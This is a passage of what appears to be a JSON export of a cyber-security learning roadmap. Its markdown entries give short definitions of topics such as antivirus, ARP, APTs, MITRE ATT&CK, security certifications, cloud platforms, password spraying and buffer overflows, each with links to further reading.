    "content": "# Antimalware\n\nAntimalware refers to software designed to detect, prevent, and remove malicious software (malware) from computer systems. This type of software typically includes features like real-time scanning, scheduled scans, and removal tools to protect against various threats such as viruses, worms, trojans, spyware, and ransomware.\n\nVisit the following resources to learn more:\n\n- [@article@Anti-malware Definition](https://www.computertechreviews.com/definition/anti-malware/)\n- [@article@What is Antimalware?](https://riskxchange.co/1006974/cybersecurity-what-is-anti-malware/)\n- [@video@How Does Antivirus and Antimalware Software Work?](https://www.youtube.com/watch?v=bTU1jbVXlmM)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/antivirus@3140n5prZYySsuBHjqGOJ.md",
    "content": "# Antivirus\n\nAntivirus software is a program designed to detect, prevent, and remove malicious software (malware) from a computer system. It works by scanning files, directories, or systems for known viruses, worms, trojans, spyware, and other types of malware. Antivirus programs use various techniques, such as signature-based detection, heuristic analysis, and behavior monitoring to identify and neutralize threats.\n\nVisit the following resources to learn more:\n\n- [@article@What is Antivirus Software?](https://www.webroot.com/gb/en/resources/tips-articles/what-is-anti-virus-software)\n- [@video@What is an Antivirus and how does it keep us safe?](https://www.youtube.com/watch?v=jW626WMWNAE)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/anyrun@GZHFR43UzN0WIIxGKZOdX.md",
    "content": "# any.run\n\nany.run is an interactive online platform used for analyzing suspicious files and URLs in a safe, isolated environment. It allows users to execute potentially malicious software or visit questionable websites without risking their own systems. The platform provides real-time visibility into the behavior of the analyzed item, capturing network traffic, process creation, file modifications, and other indicators of compromise. This helps security professionals quickly understand the nature and impact of a threat.\n\nVisit the following resources to learn more:\n\n- [@official@Any.run](https://any.run/)\n- [@video@Malware analysis with ANY.RUN](https://www.youtube.com/watch?v=QH_u7DHKzzI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/apt@l0BvDtwWoRSEjm6O0WDPy.md",
    "content": "# APT\n\nAdvanced Persistent Threats, or APTs, are a class of cyber threats characterized by their persistence over a long period, extensive resources, and a high level of sophistication. Often associated with nation-state actors, organized cybercrime groups, and well-funded hackers, APTs are primarily focused on targeting high-value assets, such as critical infrastructure, financial systems, and government agencies.\n\nVisit the following resources to learn more:\n\n- [@article@Advanced Persistent Threat (APT)](https://www.crowdstrike.com/cybersecurity-101/advanced-persistent-threat-apt/)\n- [@video@What is an Advanced Persistent Threat?](https://www.youtube.com/watch?v=sGthMsDlqew)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/arp@M52V7hmG4ORf4TIVw3W3J.md",
    "content": "# ARP\n\nAddress Resolution Protocol (ARP) is a communication protocol used for discovering the link-layer address, such as a MAC address, associated with a given Internet layer address, typically an IPv4 address. In simpler terms, when a device wants to send data to another device on the same network, it uses ARP to find the physical hardware address (MAC address) of the destination device, so that the data can be correctly delivered. It works by sending a broadcast ARP request asking \"Who has this IP address?\" and the device with that IP address responds with its MAC address.\n\nVisit the following resources to learn more:\n\n- [@article@ARP - Wikipedia](https://en.wikipedia.org/wiki/Address_Resolution_Protocol)\n- [@article@What is Address Resolution Protocol?](https://www.fortinet.com/resources/cyberglossary/what-is-arp)\n- [@video@ARP Explained](https://www.youtube.com/watch?v=cn8Zxh9bPio)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/arp@fzdZF-nzIL69kaA7kwOCn.md",
    "content": "# ARP\n\nARP, or Address Resolution Protocol, is a communication protocol used for discovering the link layer address (typically a MAC address) associated with a given internet layer address (typically an IPv4 address). It operates by sending an ARP request to all devices on a network, asking the device with the specific IP address to respond with its MAC address. This allows devices to communicate on the local network without needing to know each other's physical addresses beforehand.\n\nVisit the following resources to learn more:\n\n- [@article@ARP - Wikipedia](https://en.wikipedia.org/wiki/Address_Resolution_Protocol)\n- [@article@What is Address Resolution Protocol?](https://www.fortinet.com/resources/cyberglossary/what-is-arp)\n- [@video@ARP Explained](https://www.youtube.com/watch?v=cn8Zxh9bPio)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/arp@hkO3Ga6KctKODr4gos6qX.md",
    "content": "# ARP Troubleshooting\n\nAddress Resolution Protocol (ARP) is a protocol used to map an IP address to a physical machine address, also known as a Media Access Control (MAC) address, on a local network. When a device wants to communicate with another device on the same network, it uses ARP to find the MAC address associated with the destination's IP address. Problems with ARP can lead to communication failures and network connectivity issues, requiring specific tools and techniques for diagnosis and resolution.\n\nVisit the following resources to learn more:\n\n- [@article@ARP - Wikipedia](https://en.wikipedia.org/wiki/Address_Resolution_Protocol)\n- [@article@What is Address Resolution Protocol?](https://www.fortinet.com/resources/cyberglossary/what-is-arp)\n- [@video@ARP Explained](https://www.youtube.com/watch?v=cn8Zxh9bPio)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/attck@auR7fNyd77W2UA-PjXeJS.md",
    "content": "# MITRE ATT&CK Framework\n\nThe MITRE ATT&CK framework is a knowledge base and model for describing the tactics, techniques, and procedures (TTPs) that adversaries use when attacking computer systems. It's organized into matrices that outline common attack behaviors across various platforms and environments. Security professionals use ATT&CK to understand adversary behavior, develop threat models, improve defenses, and assess an organization's security posture.\n\nVisit the following resources to learn more:\n\n- [@official@MITRE ATT&CK®](https://attack.mitre.org/)\n- [@video@MITRE ATT&CK Framework](https://www.youtube.com/watch?v=Yxv1suJYMI8)\n- [@video@Introduction To The MITRE ATT&CK Framework](https://www.youtube.com/watch?v=LCec9K0aAkM)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/authentication-vs-authorization@WG7DdsxESm31VcLFfkVTz.md",
    "content": "# Authentication vs. Authorization\n\nAuthentication verifies who a user is, confirming their identity using credentials like usernames and passwords. Authorization, on the other hand, determines what a user is allowed to access after they've been authenticated. In essence, authentication proves you are who you say you are, while authorization dictates what you can do.\n\nVisit the following resources to learn more:\n\n- [@article@Two-factor authentication (2FA)](https://authy.com/what-is-2fa/)\n- [@article@Biometrics (fingerprint, facial recognition, etc.)](https://me-en.kaspersky.com/resource-center/definitions/biometrics)\n- [@article@Security tokens or certificates](https://www.comodo.com/e-commerce/ssl-certificates/certificate.php)\n- [@article@Role-based access control (RBAC)](https://en.wikipedia.org/wiki/Role-based_access_control)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/autopsy@bIwpjIoxSUZloxDuQNpMu.md",
    "content": "# autopsy\n\nAutopsy is a versatile and powerful open-source digital forensics platform that is primarily used for incident response, cyber security investigations, and data recovery. As an investigator, you can utilize Autopsy to quickly and efficiently analyze a compromised system, extract crucial artifacts, and generate comprehensive reports. Integrated with The Sleuth Kit and other plug-ins, Autopsy allows examiners to automate tasks and dig deep into a system's structure to discover the root cause of an incident.\n\nVisit the following resources to learn more:\n\n- [@official@Autopsy](https://www.autopsy.com/)\n- [@video@Disk analysis with Autopsy](https://www.youtube.com/watch?v=o6boK9dG-Lc&t=236s)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/aws@0LztOTc3NG3OujCVwlcVU.md",
    "content": "# AWS\n\nAmazon Web Services (AWS) is a leading cloud computing platform provided by Amazon. Launched in 2006, AWS offers an extensive range of on-demand IT services, such as computing power, storage, databases, networking, and security, which enable organizations to develop, deploy, and scale applications and infrastructure quickly and cost-effectively.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated AWS Roadmap](https://roadmap.sh/aws)\n- [@course@AWS Complete Tutorial](https://www.youtube.com/watch?v=B8i49C8fC3E)\n- [@official@AWS](https://aws.amazon.com)\n- [@video@AWS Overview](https://www.youtube.com/watch?v=a9__D53WsUs)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/azure@GklBi7Qx1akN_cS9UMrha.md",
    "content": "# Azure\n\nAzure is Microsoft's comprehensive cloud computing platform that offers a wide range of services for building, deploying, and managing applications. It provides infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS) solutions, supporting various programming languages, tools, and frameworks. Azure's services include virtual machines, storage, databases, AI and machine learning, IoT, and more. It offers global data center coverage, integrated DevOps tools, and robust security features, making it a versatile platform for businesses of all sizes to innovate, scale, and transform their operations in the cloud.\n\nVisit the following resources to learn more:\n\n- [@official@Azure](https://azure.microsoft.com)\n- [@video@Azure DevOps Tutorial for Beginners](https://www.youtube.com/watch?v=4BibQ69MD8c)\n- [@feed@daily.dev Azure Feed](https://app.daily.dev/tags/azure)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/bash@tao0Bb_JR0Ubl62HO8plp.md",
    "content": "# Bash\n\nBash (Bourne Again Shell) is a widely-used Unix shell and scripting language that acts as a command-line interface for executing commands and organizing files on your computer. It allows users to interact with the system's operating system by typing text commands, serving as an alternative to the graphical user interface (GUI). Bash, created as a free and improved version of the original Bourne Shell (`sh`), is the default shell in many Unix-based systems, including Linux, macOS, and the Windows Subsystem for Linux (WSL).\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Shell/Bash Roadmap](https://roadmap.sh/shell-bash)\n- [@course@Beginners Guide To The Bash Terminal](https://www.youtube.com/watch?v=oxuRxtrO2Ag)\n- [@course@Start learning bash](https://linuxhandbook.com/bash/)\n- [@official@Bash](https://www.gnu.org/software/bash/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/basics-and-concepts-of-threat-hunting@_x3BgX93N-Pt1_JK7wk0p.md",
    "content": "# Threat Hunting Basics\n\nThreat hunting is a proactive security activity where security analysts actively search for malicious activities or threats that have evaded automated security defenses. Unlike reactive incident response, which begins after an alert, threat hunting assumes that threats are already present within the environment and seeks to identify them before they cause significant damage. It leverages data analysis, threat intelligence, and investigative techniques to uncover hidden or advanced attacks.\n\nVisit the following resources to learn more:\n\n- [@article@What is Threat Hunting](https://www.ibm.com/topics/threat-hunting)\n- [@article@What is Threat Hunting? Threat Hunting Types and Techniques](https://www.fortinet.com/resources/cyberglossary/threat-hunting)\n- [@video@Cyber Security Threat Hunting Explained](https://www.youtube.com/watch?v=VNp35Uw_bSM)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/basics-of-computer-networking@T0aU8ZQGShmF9uXhWY4sD.md",
    "content": "# Basics of Computer Networking\n\nComputer networking is the practice of connecting computers and devices to share data and resources. It involves the use of protocols like TCP/IP for communication, hardware such as routers and switches for directing traffic, and various network topologies (e.g., star, mesh, bus) for organizing connections. Networks can be categorized by size and scope, from small local area networks (LANs) to wide area networks (WANs) that span large geographical areas. Key concepts include IP addressing, subnetting, DNS for name resolution, and network security measures. Understanding networking basics is crucial for managing data flow, troubleshooting connectivity issues, and ensuring efficient communication in modern computing environments.\n\nVisit the following resources to learn more:\n\n- [@article@Networking basics - What you need to know](https://www.cisco.com/c/en/us/solutions/small-business/resource-center/networking/networking-basics.html)\n- [@video@Computer Networking in 100 seconds](https://www.youtube.com/watch?v=keeqnciDVOo)\n- [@video@Computer Networks: Crash Course Computer Science #28](https://www.youtube.com/watch?v=3QhU9jd03a0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/basics-of-ids-and-ips@FJsEBOFexbDyAj86XWBCc.md",
    "content": "# Intrusion Detection and Prevention Systems\n\nIntrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) are security mechanisms designed to monitor network or system activities for malicious behavior or policy violations. An IDS primarily detects suspicious activity and alerts administrators, while an IPS goes a step further by actively blocking or preventing the detected intrusions. Both systems analyze network traffic, system logs, and other data sources to identify potential threats and help maintain the security and integrity of a network or system.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Intrusion Prevention System?](https://www.paloaltonetworks.com/cyberpedia/what-is-an-intrusion-prevention-system-ips)\n- [@article@What is Intrusion Detection Systems (IDS)](https://www.fortinet.com/resources/cyberglossary/intrusion-detection-system)\n- [@video@Intrusion Prevention System (IPS)](https://www.youtube.com/watch?v=7QuYupuic3Q)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/basics-of-nas-and-san@umbMBQ0yYmB5PgWfY6zfO.md",
    "content": "# Network Attached Storage (NAS) and Storage Area Networks (SAN)\n\nNetwork Attached Storage (NAS) is a file-level data storage device that connects to a network, allowing multiple devices to access files from a central location. A Storage Area Network (SAN) is a dedicated, high-speed network that provides block-level access to storage devices, appearing to servers as locally attached disks.\n\nVisit the following resources to learn more:\n\n- [@article@NAS vs SAN - What are the differences?](https://www.backblaze.com/blog/whats-the-diff-nas-vs-san/)\n- [@video@What is a NAS](https://www.youtube.com/watch?v=ZwhT-KI16jo)\n- [@video@What is a Storage Area Network](https://www.youtube.com/watch?v=7eGw4vhyeTA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/basics-of-reverse-engineering@uoGA4T_-c-2ip_zfEUcJJ.md",
    "content": "# Reverse Engineering Fundamentals\n\nReverse engineering is the process of dissecting a system, piece of hardware, or software program to understand its design, function, and operation without having access to the source code or blueprints. It involves analyzing the object's structure, components, and behavior to deduce how it was created and how it works. Essentially, it's like taking something apart to figure out how it was put together.\n\nVisit the following resources to learn more:\n\n- [@course@Reverse Engineering for Everyone!](https://0xinfection.github.io/reversing/)\n- [@video@What is reverse engineering?](https://www.youtube.com/watch?v=gh2RXE9BIN8)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/basics-of-subnetting@E8Z7qFFW-I9ivr0HzoXCq.md",
    "content": "# Subnetting Fundamentals\n\nSubnetting is the practice of dividing a network into two or more smaller, logically isolated networks, called subnets. This is accomplished by manipulating the subnet mask, which defines the range of IP addresses that belong to a particular network. By carving up a larger network address space, you can improve network performance, security, and manageability by limiting broadcast domains and isolating traffic.\n\nVisit the following resources to learn more:\n\n- [@article@Networking Basics: What is IPv4 Subnetting?](https://www.cbtnuggets.com/blog/technology/networking/networking-basics-what-is-ipv4-subnetting)\n- [@video@Subnetting](https://www.youtube.com/playlist?list=PLIhvC56v63IKrRHh3gvZZBAGvsvOhwrRF)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/basics-of-threat-intel-osint@wN5x5pY53B8d0yopa1z8F.md",
    "content": "# Threat Intelligence and Open-Source Intelligence (OSINT) Fundamentals\n\nThreat intelligence involves gathering and analyzing information about potential threats and adversaries. OSINT, or Open-Source Intelligence, is a specific type of threat intelligence that focuses on collecting information from publicly available sources, such as news articles, social media, and public records. By combining and analyzing this data, security professionals can gain insights into attacker motivations, tactics, and infrastructure, enabling them to proactively defend against cyberattacks.\n\nVisit the following resources to learn more:\n\n- [@course@Open-Source Intelligence (OSINT) in 5 Hours](https://www.youtube.com/watch?v=qwA6MmbeGNo&t=457s)\n- [@official@OSINT Framework](https://osintframework.com/)\n- [@article@Threat Intelligence](https://www.microsoft.com/en-us/security/blog/topic/threat-intelligence/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/basics-of-vulnerability-management@lcxAXtO6LoGd85nOFnLo8.md",
    "content": "# Vulnerability Management\n\nVulnerability management is a cyclical process aimed at identifying, classifying, remediating, and mitigating vulnerabilities in computer systems and software. It begins with vulnerability scanning to discover potential weaknesses. Assessment then involves analyzing these vulnerabilities to determine their impact and likelihood of exploitation. Prioritization ranks vulnerabilities based on risk to focus remediation efforts. Remediation involves implementing solutions such as patching, configuration changes, or mitigation strategies to address the identified weaknesses. Finally, ongoing monitoring and reporting tracks the effectiveness of remediation efforts and identifies new vulnerabilities as they emerge.\n\nVisit the following resources to learn more:\n\n- [@article@What is Vulnerability Management? - Rapid7](https://www.rapid7.com/fundamentals/vulnerability-management-and-scanning/)\n- [@article@What is Vulnerability Management? - CrowdStrike](https://www.crowdstrike.com/cybersecurity-101/vulnerability-management/)\n- [@video@Vulnerability Management explained by experts](https://www.youtube.com/watch?v=RE6_Lo2wSIg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/blue--red--purple-teams@7tDxTcKJNAUxbHLPCnPFO.md",
    "content": "# Blue / Red / Purple Teams\n\nBlue, Red, and Purple Teams are conceptual groups used to structure cybersecurity roles and responsibilities. A Blue Team is responsible for defending an organization's systems by identifying vulnerabilities and implementing security measures. A Red Team acts as an attacker, simulating real-world threats to test the effectiveness of the Blue Team and identify weaknesses in the security posture. A Purple Team facilitates communication and collaboration between the Blue and Red Teams to maximize learning and improve overall security.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Blue Team?](https://www.checkpoint.com/cyber-hub/cyber-security/what-is-a-blue-team/)\n- [@article@What is Red Teaming?](https://www.ibm.com/think/topics/red-teaming)\n- [@article@Purple Teaming Explained](https://www.crowdstrike.com/cybersecurity-101/purple-teaming/)\n- [@article@Red Team VS Blue Team: What's the Difference?](https://www.crowdstrike.com/en-us/cybersecurity-101/advisory-services/red-team-vs-blue-team/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/bluetooth@DbWf5LdqiByPiJa4xHtl_.md",
    "content": "# Bluetooth\n\nBluetooth is a short-range wireless technology standard used for exchanging data between fixed and mobile devices over short distances. While it offers convenience for connecting peripherals and transferring information, it also presents several security concerns in the cybersecurity landscape. Bluetooth vulnerabilities can potentially allow attackers to intercept communications, execute malicious code, or gain unauthorized access to devices. Common attacks include bluejacking, bluesnarfing, and bluebugging. To mitigate these risks, cybersecurity professionals recommend regularly updating device firmware, using the latest Bluetooth protocols, enabling encryption, and turning off Bluetooth when not in use. Despite ongoing security improvements, Bluetooth remains an attack vector that requires vigilant monitoring and protection in both personal and enterprise environments.\n\nVisit the following resources to learn more:\n\n- [@article@Bluetooth in Cyber Security](https://www.zenarmor.com/docs/network-basics/what-is-bluetooth)\n- [@video@Everything about Bluetooth Security](https://www.youtube.com/watch?v=i9mzl51ammA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/box@4Man3Bd-ySLFlAdxbLOHw.md",
    "content": "# Box\n\nBox is a popular cloud storage service that provides individuals and businesses with a platform to securely store, share, and access files and documents from any device. Box is known for its emphasis on security and collaboration features, making it an ideal choice for businesses who want a secure way to share and collaborate on files with their teams.\n\nVisit the following resources to learn more:\n\n- [@official@Box](https://www.box.com/en-gb/home)\n- [@video@Box Cloud Storage Review 2024](https://www.youtube.com/watch?v=ktNDLO1T96c)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/brute-force-vs-password-spray@Q0i-plPQkb_NIvOQBVaDd.md",
    "content": "# Brute Force vs. Password Spraying\n\nBrute force attacks attempt to crack a password by systematically trying every possible combination of characters until the correct one is found. Password spraying, conversely, uses a list of commonly used passwords and attempts them against many different user accounts. The goal of password spraying is to avoid account lockouts, which are often triggered by repeated failed login attempts from a single account.\n\nVisit the following resources to learn more:\n\n- [@article@Brute-force vs. Password Spray Attack](https://www.inspark.nl/brute-force-vs-password-spray-attack-in-azure-sentinel/)\n- [@article@What is Password Spraying?](https://www.techtarget.com/whatis/definition/password-spraying)\n- [@article@What is a Brute-force Attack?](https://www.fortinet.com/resources/cyberglossary/brute-force-attack)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/buffer-overflow@n8ZOZxNhlnw7DpzoXe_f_.md",
    "content": "# Buffer Overflow\n\nA Buffer Overflow is a type of vulnerability that occurs when a program or process attempts to write more data to a buffer—a temporary storage area in memory—than it can hold. This overflow can cause the extra data to overwrite adjacent memory locations, potentially leading to unintended behavior, crashes, or security breaches.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Buffer Overflow?](https://www.fortinet.com/resources/cyberglossary/buffer-overflow)\n- [@article@Buffer Overflow Attack](https://www.imperva.com/learn/application-security/buffer-overflow/)\n- [@video@Buffer Overflows Made Easy](https://www.youtube.com/watch?v=qSnPayW6F7U)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/bus@0DWh4WmLK_ENDuqQmQcu4.md",
    "content": "# Bus\n\nIn the context of cybersecurity, a bus refers to a communication system that transfers data between components inside a computer or between computers. It's a critical part of computer architecture that can be vulnerable to various security threats. Attackers may attempt to exploit bus systems to intercept sensitive data, inject malicious code, or perform side-channel attacks. These vulnerabilities can exist at different levels, from the system bus connecting major computer components to expansion buses for peripheral devices. Securing bus communications involves implementing encryption, access controls, and monitoring for unusual activity. As buses play a crucial role in data transfer, protecting them is essential for maintaining the overall security and integrity of computer systems and networks.\n\nVisit the following resources to learn more:\n\n- [@article@Bus in Computing](https://en.wikipedia.org/wiki/Bus_(computing))\n- [@article@What is a Bus?](https://www.lenovo.com/gb/en/glossary/bus/?srsltid=AfmBOoocoXVvqdupLu13XAm0FZMOHjRtjnnCCFxa59tEa-bQwhiVhac2)\n- [@video@Computer Buses](https://www.youtube.com/watch?v=aBCaCrC3z0k)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/c@8jj9hpe9jQIgCc8Txyw3O.md",
    "content": "# C++\n\nC++ is a widely-used, high-level programming language that evolved from the earlier C programming language. Developed by Bjarne Stroustrup in 1985 at Bell Labs, C++ provides object-oriented features and low-level memory manipulation, making it an essential language for many fields, including game development, high-performance systems, and cybersecurity.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated C++ Roadmap](https://roadmap.sh/cpp)\n- [@article@C++ Introduction](https://www.w3schools.com/cpp/cpp_intro.asp)\n- [@video@C++ Full Course - BroCode](https://www.youtube.com/watch?v=-TkoO8Z07hI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/cat@D2ptX6ja_HvFEafMIzWOy.md",
    "content": "# cat\n\n`cat` is a widely used command-line utility in UNIX and UNIX-like systems. It stands for \"concatenate\" which, as the name suggests, can be used to concatenate files, display file contents, or combine files. In the context of incident response and discovery tools, `cat` plays an essential role in quickly accessing and assessing the contents of various files that inform on security incidents and help users understand system data as well as potential threats.\n\nVisit the following resources to learn more:\n\n- [@article@Cat Command in Linux](https://linuxize.com/post/linux-cat-command/)\n- [@article@Linux cat command](https://phoenixnap.com/kb/linux-cat-command)\n- [@video@The cat command](https://www.youtube.com/shorts/lTOje2weu_o?app=desktop)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ccna@4RD22UZATfL8dc71YkJwQ.md",
    "content": "# CCNA\n\nThe Cisco Certified Network Associate (CCNA) certification is an entry-level certification for IT professionals who want to specialize in networking, specifically within the realm of Cisco products. This certification validates an individual's ability to install, configure, operate, and troubleshoot medium-sized routed and switched networks. It also covers the essentials of network security and management.\n\nVisit the following resources to learn more:\n\n- [@official@CCNA Certification](https://www.cisco.com/site/us/en/learn/training-certifications/certifications/enterprise/ccna/index.html)\n- [@video@Network Chuck Free CCNA Course](https://www.youtube.com/playlist?list=PLIhvC56v63IJVXv0GJcl9vO5Z6znCVb1P)\n- [@video@Jeremy's IT Lab](https://www.youtube.com/@JeremysITLab)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ceh@AAo7DXB7hyBzO6p05gx1i.md",
    "content": "# CEH\n\n**Certified Ethical Hacker (CEH)** is an advanced certification focused on equipping cybersecurity professionals with the knowledge and skills required to defend against the continuously evolving landscape of cyber threats. This certification is facilitated by the EC-Council, an internationally recognized organization for information security certifications.\n\nVisit the following resources to learn more:\n\n- [@official@CEH](https://www.eccouncil.org/train-certify/certified-ethical-hacker-ceh/)\n- [@article@Certified Ethical Hacker Online Training](https://iclass.eccouncil.org/our-courses/certified-ethical-hacker-ceh/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/certificates@WXRaVCYwuGQsjJ5wyvbea.md",
    "content": "# Certificates\n\nCertificates, also known as digital certificates or SSL/TLS certificates, are electronic documents used to establish trust and secure communication over networks. They function like digital IDs, verifying the identity of websites, servers, individuals, or devices. These certificates contain information about the entity they represent, a digital signature from a trusted Certificate Authority (CA), and the entity's public key, which is used for encryption and secure data exchange.\n\nVisit the following resources to learn more:\n\n- [@article@What is an SSL Certificate?](https://www.cloudflare.com/en-gb/learning/ssl/what-is-an-ssl-certificate/)\n- [@article@What is a Certificate Authority](https://www.ssl.com/article/what-is-a-certificate-authority-ca/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/cidr@PPIH1oHW4_ZDyD3U3shDg.md",
    "content": "# CIDR\n\nCIDR (Classless Inter-Domain Routing) is a method for allocating IP addresses and routing Internet Protocol packets. It replaces the older classful network addressing scheme. CIDR uses variable-length subnet masking (VLSM) to create subnets of different sizes, offering greater flexibility in address allocation and reducing address wastage compared to the rigid class-based system. It's represented using an IP address followed by a slash and a number (e.g., 192.168.1.0/24), where the number indicates the number of bits used for the network prefix.\n\nVisit the following resources to learn more:\n\n- [@article@What is CIDR?](https://aws.amazon.com/what-is/cidr/)\n- [@video@What is Network CIDR Notation?](https://www.youtube.com/watch?v=tpa9QSiiiUo)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/cis@sSihnptkoEqUsHjDpckhG.md",
    "content": "# CIS\n\nThe **Center for Internet Security (CIS)** is a non-profit organization that focuses on enhancing the cybersecurity posture of individuals, organizations, and governments around the world. CIS offers various tools, best practices, guidelines, and frameworks that help in defending against common cyber threats.\n\nVisit the following resources to learn more:\n\n- [@official@CIS](https://www.cisecurity.org/)\n- [@video@CIS Overview](https://www.youtube.com/watch?v=f-Z7h5dI6uQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/cisa@lqFp4VLY_S-5tAbhNQTew.md",
    "content": "# CISA\n\nCISA, or Certified Information Systems Auditor, is a globally recognized certification for professionals who audit, control, monitor, and assess an organization's information technology and business systems. It demonstrates expertise in assessing vulnerabilities, reporting on compliance, and instituting controls within an enterprise. Achieving CISA certification requires passing an exam, possessing relevant work experience in information systems auditing, control, assurance, or security, and adhering to ISACA's code of professional ethics.\n\nVisit the following resources to learn more:\n\n- [@official@CISA](https://www.isaca.org/credentialing/cisa)\n- [@article@What is a Certified Information Systems Auditor?](https://www.investopedia.com/terms/c/certified-information-systems-auditor.asp)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/cism@s86x24SHPEbbOB9lYNU-w.md",
    "content": "# CISM\n\nThe Certified Information Security Manager (CISM) is an advanced cybersecurity certification offered by ISACA that focuses on information security management. It is designed for professionals who have a strong understanding of information security and are responsible for overseeing, designing, and managing an organization's information security programs.\n\nVisit the following resources to learn more:\n\n- [@official@CISM](https://www.isaca.org/credentialing/cism)\n- [@article@Certified Information Security Manager (CISM)](https://www.techtarget.com/searchsecurity/definition/certified-information-security-manager-CISM)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/cissp@BqvijNoRzSGYLCMP-6hhr.md",
    "content": "# CISSP\n\nThe Certified Information Systems Security Professional (CISSP) is a globally recognized certification offered by the International Information System Security Certification Consortium (ISC)². It is designed for experienced security professionals to validate their knowledge and expertise in the field of information security.\n\nVisit the following resources to learn more:\n\n- [@official@CISSP Certification](https://www.isc2.org/certifications/cissp)\n- [@video@CISSP Certification Course](https://www.youtube.com/watch?v=M1_v5HBVHWo)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/cloud-skills-and-knowledge@vVaBQ5VtsE_ZeXbCOF8ux.md",
    "content": "# Cloud Skills and Knowledge\n\nCloud skills and knowledge are essential for working effectively with cloud computing technologies and services, which provide scalable, on-demand resources over the internet. Core cloud skills include understanding the architecture and types of cloud deployments, such as public, private, and hybrid clouds, as well as the major service models: Infrastructure as a Service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS). Knowledge of cloud platforms like AWS, Microsoft Azure, and Google Cloud is crucial, along with the ability to manage virtual machines, storage, networking, and databases in a cloud environment.\n\nSecurity in the cloud is a vital skill, encompassing encryption, identity and access management (IAM), compliance, and disaster recovery. Understanding DevOps practices, containerization (using tools like Docker and Kubernetes), and serverless computing also plays a significant role in cloud operations. Additionally, familiarity with cloud-native tools for automation, monitoring, and orchestration, as well as knowledge of cloud cost optimization and performance tuning, are important for maximizing cloud efficiency and ensuring a secure, scalable infrastructure.\n\nVisit the following resources to learn more:\n\n- [@article@7 Cloud Computing skills to know](https://www.coursera.org/articles/cloud-computing-skills)\n- [@video@What Cloud Skills are Essential?](https://www.youtube.com/watch?v=udKBDRcj178)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/common-commands@WDrSO7wBNn-2jB8mcyT7j.md",
    "content": "# Common Commands\n\nCommon operating system (OS) commands are essential for interacting with a system's shell or command-line interface (CLI). These commands allow users to perform a wide range of tasks, such as navigating the file system, managing files and directories, checking system status, and administering processes. They form the foundation to interact with and managing an OS via the command line, providing greater control over system operations compared to graphical interfaces.\n\nVisit the following resources to learn more:\n\n- [@article@Essential Unix Commands](https://www.geeksforgeeks.org/essential-linuxunix-commands/)\n- [@video@60 Linux commands you must know](https://www.youtube.com/watch?v=gd7BXuUQ91w)\n- [@video@Top 40 Windows commands to know](https://www.youtube.com/watch?v=Jfvg3CS1X3A)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/common-ports-and-their-uses@0tx2QYDYXhm85iYrCWd9U.md",
    "content": "# Common Ports and Their Uses\n\nPorts are virtual endpoints where network connections start and end. They are numbered, and these numbers help identify specific applications or services running on a server. When data is sent over a network, it's directed to a specific port on the receiving device, ensuring that the correct application handles the data. Understanding these common ports and their corresponding services is crucial for diagnosing network issues, configuring firewalls, and identifying potential security vulnerabilities.\n\nVisit the following resources to learn more:\n\n- [@article@Common network ports you should know](https://opensource.com/article/18/10/common-network-ports)\n- [@video@Common Network Ports](https://www.youtube.com/watch?v=dh8h-4u7Wak)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/common-protocols-and-their-uses@ViF-mpR17MB3_KJ1rV8mS.md",
    "content": "# Common Protocols and Their Uses\n\nNetworking protocols are standardized sets of rules that govern how data is transmitted between devices on a network. They define everything from how data is formatted and addressed to how errors are detected and corrected. Different protocols are designed for different purposes, allowing for a wide range of communication methods across various types of networks. Understanding these protocols is fundamental for analyzing network traffic, identifying vulnerabilities, and ensuring secure data transmission.\n\nVisit the following resources to learn more:\n\n- [@article@12 Common Network Protocols](https://www.techtarget.com/searchnetworking/feature/12-common-network-protocols-and-their-functions-explained)\n- [@video@Networking For Hackers! (Common Network Protocols)](https://www.youtube.com/watch?v=p3vaaD9pn9I)"
  },
